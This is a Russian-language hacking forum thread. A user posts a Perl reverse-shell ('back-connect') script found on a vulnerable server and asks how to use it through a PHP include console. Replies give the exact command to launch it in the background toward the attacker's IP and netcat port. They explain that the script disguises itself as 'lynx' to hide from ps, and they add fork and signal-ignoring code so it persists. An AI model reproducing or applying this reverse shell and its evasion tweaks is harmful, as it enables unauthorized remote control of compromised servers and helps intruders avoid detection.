вот на одном уязвимом серваке нашол такое: Code: #!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR); я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю вопрос: как его заюзать для себя? на серваке php инклуд консоль работает даже с правами какогото юзера
Загрузи этот файл на сервер, затем в консоли выполни Code: perl your_script.pl 192.168.19.217 12345 >/dev/null & где your_script.pl - имя скрипта, который ты загрузишь, 192.168.19.217 - твой IP 12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта >/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда & - исполнять в фоне
Выводит он информацию о системе и пользователе, после чего запускает /bin/sh PHP: $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; ..... system($system); А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)
Code: $cmd= "lynx"; ... $0=$cmd; Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню
Можно добавить такой код в начало и еще игнорирование сигналов. Code: my $pid=fork; exit if $pid; $SIG{'INT'}='IGNORE'; $SIG{'HUP'}='IGNORE'; $SIG{'TERM'}='IGNORE'; $SIG{'CHLD'}='IGNORE'; $SIG{'PS'}='IGNORE';
Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =) Этим можно избежать многих проблем ЗЗЫЖ Оффтоплю? Сорри